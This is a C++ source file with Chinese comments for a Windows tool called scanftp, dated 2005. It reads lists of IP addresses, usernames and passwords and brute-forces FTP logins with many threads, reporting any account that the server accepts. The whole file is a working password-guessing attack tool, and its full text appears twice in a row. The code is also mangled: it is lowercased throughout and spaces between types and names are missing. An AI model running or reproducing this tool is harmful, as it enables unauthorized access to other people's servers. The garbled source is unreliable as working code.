//////////////////////////////////////////////////////////
//文件:scanftp.cpp
//描述:从指定文件读入ip地址和帐号密码,猜测ftp服务器密码
//作者:云舒(http://www.icylife.net)
//日期:2005年2月18日0.1.0版本
//修改2005年2月22日0.1.1版本
//修改2005年2月24日0.1.2版本
//////////////////////////////////////////////////////////
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib,"ws2_32.lib")
#define port 21
#define version 0.1.2
#define len sizeof(struct filedata)
/////////////////////////////////////////////////////////
//定义全局变量
/////////////////////////////////////////////////////////
struct filedata//存放帐号和密码的链表结构体
{
chardataline[64];
struct filedata*next;
};
struct scanpar//传递给scan函数的参数结构体
{
struct filedata *userhead;//帐号链表的头地址
struct filedata *passhead;//密码链表的头地址
char ipnow[16];//要扫描的扫描的ip
};
intcurrentthread = 0;//当前活动线程
intmaxthread = 0;//最大线程数量
char ipfile[48] = { 0 };//ip列表文件名
char *passflag = "230";
char *userflag = "331";
/////////////////////////////////////////////////////////
//定义函数原形
/////////////////////////////////////////////////////////
void getpar(int , char **);//检查命令行参数
void help(char *);//输出帮助函数
void watchthread(void);//检测活动线程是否达到最大
void wait2quit(void);//等待所有线程退出函数
int winapi scan(lpvoid);//处理帐号密码字典
void crack(char * , char * , char *);//破解密码函数
struct filedata *readdic2memory(char *);//将帐号字典密码字典读入内存,存入链表
//////////////////////////////////////////////////////////
//主函数,程序入口
//////////////////////////////////////////////////////////
int main( int argc , char *argv[] )
{
dword threadid = 1;
handle threadhandle = null;
file*fpip = null;
wsadatawsadata;
struct scanparscanpar;
charfilename[48] = { 0 };
//检查并获取命令行参数
getpar( argc , argv );
if( wsastartup(makeword(2,2),&wsadata) != 0 )
{
printf( "载入winsock失败...\n" );
return -1;
}
//打开ip列表文件
fpip = fopen( ipfile , "r" );
if( fpip == null )
{
printf( "打开ip列表文件失败...\n" );
return -1;
}
strcpy( filename , "ftp_user.txt" );
scanpar.userhead = readdic2memory( filename );//将帐号读入内存
memset( filename , 0 , sizeof(filename) );
strcpy( filename , "ftp_pass.txt" );
scanpar.passhead = readdic2memory( filename );//将密码读入内存
while( !feof(fpip) )
{
fscanf( fpip , "%s" , scanpar.ipnow );
watchthread();
sleep(20);
//生成新线程
threadhandle = createthread( null , 0 , (lpthread_start_routine)scan , (lpvoid)(&scanpar) , 0 , &threadid );
if( threadhandle != null )
{
closehandle(threadhandle);
currentthread ++;
threadid ++;
}
}
wait2quit();
fclose(fpip);
wsacleanup();
return 0;
}
int winapi scan(lpvoid par)
{
struct scanpar*scan_par = (struct scanpar *)par;
struct filedata*puser = scan_par->userhead;
struct filedata*ppass = scan_par->passhead;
while( puser != null )
{
if( ppass == null )
{
ppass = scan_par->passhead;
}
while( ppass != null )
{
printf("正在%s上测试%s的密码%s......\n" , scan_par->ipnow , puser->dataline , ppass->dataline );
crack( scan_par->ipnow , puser->dataline , ppass->dataline );
ppass = ppass->next;
}
puser = puser->next;
}
currentthread --;
return 0;
}
void crack( char *ip , char *user , char *pass )
{
socketsock;
sockaddr_insin;
intflag;
inttimeout;
charrecvbuffer[1024] = { 0 };
sock = socket( af_inet , sock_stream , 0 );
if( sock == invalid_socket )
{
printf( "连接%s建立socket失败\n" ,ip);
return;
}
//设置超时时间
timeout = 2000;
if( setsockopt(sock, sol_socket, so_sndtimeo, (char *)&timeout, sizeof(timeout)) == socket_error )
{
printf("连接%s设置超时失败\n" , ip );
return;
}
memset( &sin , 0 , sizeof(sin) );
sin.sin_family = af_inet;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = inet_addr(ip);
flag = connect( sock , (struct sockaddr *)&sin , sizeof(sin) );
if( flag == socket_error )
{
printf( "连接服务器%s失败\n" , ip );
closesocket(sock);
return;
}
flag = recv( sock , recvbuffer , sizeof(recvbuffer) , 0 );
if( flag == socket_error )
{
printf( "%s接受banner数据失败\n" , ip);
closesocket(sock);
return;
}
char usercmd[48] = { 0 };
wsprintf( usercmd , "user %s\r\n" , user );
flag = send( sock , usercmd , strlen(usercmd) , 0 );
if( flag == socket_error )
{
printf( "%s发送帐号失败\n" , ip );
closesocket(sock);
return;
}
memset( recvbuffer , 0 ,sizeof(recvbuffer) );
flag = recv( sock , recvbuffer , sizeof(recvbuffer) , 0 );
if( flag == socket_error )
{
printf( "%s接受user数据失败\n" , ip );
closesocket(sock);
return;
}
if( strlen(recvbuffer) == 0 )
{
printf( "%s接受user数据失败\n" , ip );
closesocket(sock);
return;
}
if( strstr(recvbuffer , userflag) == null )
{
printf( "%s用户名没能通过\n" , ip );
closesocket(sock);
return;
}
char passcmd[48] = { 0 };
wsprintf( passcmd , "pass %s\r\n" , pass );
flag = send( sock , passcmd , strlen(passcmd) , 0 );
if( flag == socket_error )
{
printf( "%s发送密码失败\n" , ip );
closesocket(sock);
return;
}
memset( recvbuffer , 0 , sizeof(recvbuffer) );
flag = recv( sock , recvbuffer , sizeof(recvbuffer) , 0 );
if( flag == socket_error )
{
printf( "%s接受pass数据失败\n" , ip );
closesocket(sock);
return;
}
if( strstr(recvbuffer , passflag) )
{
printf( "发现密码:%s\t%s\t%s\n" , ip , user , pass );
}
closesocket(sock);
return;
}
struct filedata *readdic2memory( char *filename )
{
struct filedata*p1 = null;
struct filedata*p2 = null;
struct filedata*head = null;
file*fp = null;
intnum = 0;//节点数目
p1 = p2 = (struct filedata *)malloc(len);//开辟新内存单元
if( p1 == null )
{
printf( "开辟新内存单元失败...\n" );
exit(-1);
}
fp = fopen( filename , "r" );//打开文件句柄
if( fp == null )
{
printf( "打开文件%s失败...\n" , filename );
exit(-1);
}
while( !feof(fp) )
{
num = num + 1;
fscanf( fp , "%s" , p1->dataline );
if( num == 1 )//如果是第一个节点
{
head = p1;
}
else
{
p2->next = p1;
}
p2 = p1;
p1 = (struct filedata *)malloc(len);
fscanf( fp , "%s" , p1->dataline );
}
p2->next = null;
return head;
}
void getpar( int argc , char *argv[] )
{
//检查命令行参数
if( argc != 3 )
{
help( argv[0] );
return;
}
if( strlen(argv[1]) < 48 )
{
strcpy( ipfile , argv[1] );
}
else
{
printf( "ip列表文件名太长...\n" );
return;
}
//从命令行参数获取最大线程数
maxthread = atoi( argv[2] );
if( maxthread <= 0 )
{
printf( "最大线程数错误...\n" );
return;
}
}
void watchthread()
{
while(1)
{
if( currentthread >= maxthread )
{
sleep(10);
}
else
{
break;
}
}
}
void wait2quit()
{
while(1)
{
if( currentthread > 0 )
{
sleep(10);
}
else
{
break;
}
}
}
void help(char *program)
{
printf( "scanftp version 0.1.2,code by 云舒\n" );
printf( "usage:%s\tip.txt\tmaxthread\n" , program );
exit(-1);
}
//文件:scanftp.cpp
//描述:从指定文件读入ip地址和帐号密码,猜测ftp服务器密码
//作者:云舒(http://www.icylife.net)
//日期:2005年2月18日0.1.0版本
//修改2005年2月22日0.1.1版本
//修改2005年2月24日0.1.2版本
//////////////////////////////////////////////////////////
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib,"ws2_32.lib")
#define port 21
#define version 0.1.2
#define len sizeof(struct filedata)
/////////////////////////////////////////////////////////
//定义全局变量
/////////////////////////////////////////////////////////
struct filedata//存放帐号和密码的链表结构体
{
chardataline[64];
struct filedata*next;
};
struct scanpar//传递给scan函数的参数结构体
{
struct filedata *userhead;//帐号链表的头地址
struct filedata *passhead;//密码链表的头地址
char ipnow[16];//要扫描的扫描的ip
};
intcurrentthread = 0;//当前活动线程
intmaxthread = 0;//最大线程数量
char ipfile[48] = { 0 };//ip列表文件名
char *passflag = "230";
char *userflag = "331";
/////////////////////////////////////////////////////////
//定义函数原形
/////////////////////////////////////////////////////////
void getpar(int , char **);//检查命令行参数
void help(char *);//输出帮助函数
void watchthread(void);//检测活动线程是否达到最大
void wait2quit(void);//等待所有线程退出函数
int winapi scan(lpvoid);//处理帐号密码字典
void crack(char * , char * , char *);//破解密码函数
struct filedata *readdic2memory(char *);//将帐号字典密码字典读入内存,存入链表
//////////////////////////////////////////////////////////
//主函数,程序入口
//////////////////////////////////////////////////////////
int main( int argc , char *argv[] )
{
dword threadid = 1;
handle threadhandle = null;
file*fpip = null;
wsadatawsadata;
struct scanparscanpar;
charfilename[48] = { 0 };
//检查并获取命令行参数
getpar( argc , argv );
if( wsastartup(makeword(2,2),&wsadata) != 0 )
{
printf( "载入winsock失败...\n" );
return -1;
}
//打开ip列表文件
fpip = fopen( ipfile , "r" );
if( fpip == null )
{
printf( "打开ip列表文件失败...\n" );
return -1;
}
strcpy( filename , "ftp_user.txt" );
scanpar.userhead = readdic2memory( filename );//将帐号读入内存
memset( filename , 0 , sizeof(filename) );
strcpy( filename , "ftp_pass.txt" );
scanpar.passhead = readdic2memory( filename );//将密码读入内存
while( !feof(fpip) )
{
fscanf( fpip , "%s" , scanpar.ipnow );
watchthread();
sleep(20);
//生成新线程
threadhandle = createthread( null , 0 , (lpthread_start_routine)scan , (lpvoid)(&scanpar) , 0 , &threadid );
if( threadhandle != null )
{
closehandle(threadhandle);
currentthread ++;
threadid ++;
}
}
wait2quit();
fclose(fpip);
wsacleanup();
return 0;
}
int winapi scan(lpvoid par)
{
struct scanpar*scan_par = (struct scanpar *)par;
struct filedata*puser = scan_par->userhead;
struct filedata*ppass = scan_par->passhead;
while( puser != null )
{
if( ppass == null )
{
ppass = scan_par->passhead;
}
while( ppass != null )
{
printf("正在%s上测试%s的密码%s......\n" , scan_par->ipnow , puser->dataline , ppass->dataline );
crack( scan_par->ipnow , puser->dataline , ppass->dataline );
ppass = ppass->next;
}
puser = puser->next;
}
currentthread --;
return 0;
}
void crack( char *ip , char *user , char *pass )
{
socketsock;
sockaddr_insin;
intflag;
inttimeout;
charrecvbuffer[1024] = { 0 };
sock = socket( af_inet , sock_stream , 0 );
if( sock == invalid_socket )
{
printf( "连接%s建立socket失败\n" ,ip);
return;
}
//设置超时时间
timeout = 2000;
if( setsockopt(sock, sol_socket, so_sndtimeo, (char *)&timeout, sizeof(timeout)) == socket_error )
{
printf("连接%s设置超时失败\n" , ip );
return;
}
memset( &sin , 0 , sizeof(sin) );
sin.sin_family = af_inet;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = inet_addr(ip);
flag = connect( sock , (struct sockaddr *)&sin , sizeof(sin) );
if( flag == socket_error )
{
printf( "连接服务器%s失败\n" , ip );
closesocket(sock);
return;
}
flag = recv( sock , recvbuffer , sizeof(recvbuffer) , 0 );
if( flag == socket_error )
{
printf( "%s接受banner数据失败\n" , ip);
closesocket(sock);
return;
}
char usercmd[48] = { 0 };
wsprintf( usercmd , "user %s\r\n" , user );
flag = send( sock , usercmd , strlen(usercmd) , 0 );
if( flag == socket_error )
{
printf( "%s发送帐号失败\n" , ip );
closesocket(sock);
return;
}
memset( recvbuffer , 0 ,sizeof(recvbuffer) );
flag = recv( sock , recvbuffer , sizeof(recvbuffer) , 0 );
if( flag == socket_error )
{
printf( "%s接受user数据失败\n" , ip );
closesocket(sock);
return;
}
if( strlen(recvbuffer) == 0 )
{
printf( "%s接受user数据失败\n" , ip );
closesocket(sock);
return;
}
if( strstr(recvbuffer , userflag) == null )
{
printf( "%s用户名没能通过\n" , ip );
closesocket(sock);
return;
}
char passcmd[48] = { 0 };
wsprintf( passcmd , "pass %s\r\n" , pass );
flag = send( sock , passcmd , strlen(passcmd) , 0 );
if( flag == socket_error )
{
printf( "%s发送密码失败\n" , ip );
closesocket(sock);
return;
}
memset( recvbuffer , 0 , sizeof(recvbuffer) );
flag = recv( sock , recvbuffer , sizeof(recvbuffer) , 0 );
if( flag == socket_error )
{
printf( "%s接受pass数据失败\n" , ip );
closesocket(sock);
return;
}
if( strstr(recvbuffer , passflag) )
{
printf( "发现密码:%s\t%s\t%s\n" , ip , user , pass );
}
closesocket(sock);
return;
}
struct filedata *readdic2memory( char *filename )
{
struct filedata*p1 = null;
struct filedata*p2 = null;
struct filedata*head = null;
file*fp = null;
intnum = 0;//节点数目
p1 = p2 = (struct filedata *)malloc(len);//开辟新内存单元
if( p1 == null )
{
printf( "开辟新内存单元失败...\n" );
exit(-1);
}
fp = fopen( filename , "r" );//打开文件句柄
if( fp == null )
{
printf( "打开文件%s失败...\n" , filename );
exit(-1);
}
while( !feof(fp) )
{
num = num + 1;
fscanf( fp , "%s" , p1->dataline );
if( num == 1 )//如果是第一个节点
{
head = p1;
}
else
{
p2->next = p1;
}
p2 = p1;
p1 = (struct filedata *)malloc(len);
fscanf( fp , "%s" , p1->dataline );
}
p2->next = null;
return head;
}
void getpar( int argc , char *argv[] )
{
//检查命令行参数
if( argc != 3 )
{
help( argv[0] );
return;
}
if( strlen(argv[1]) < 48 )
{
strcpy( ipfile , argv[1] );
}
else
{
printf( "ip列表文件名太长...\n" );
return;
}
//从命令行参数获取最大线程数
maxthread = atoi( argv[2] );
if( maxthread <= 0 )
{
printf( "最大线程数错误...\n" );
return;
}
}
void watchthread()
{
while(1)
{
if( currentthread >= maxthread )
{
sleep(10);
}
else
{
break;
}
}
}
void wait2quit()
{
while(1)
{
if( currentthread > 0 )
{
sleep(10);
}
else
{
break;
}
}
}
void help(char *program)
{
printf( "scanftp version 0.1.2,code by 云舒\n" );
printf( "usage:%s\tip.txt\tmaxthread\n" , program );
exit(-1);
}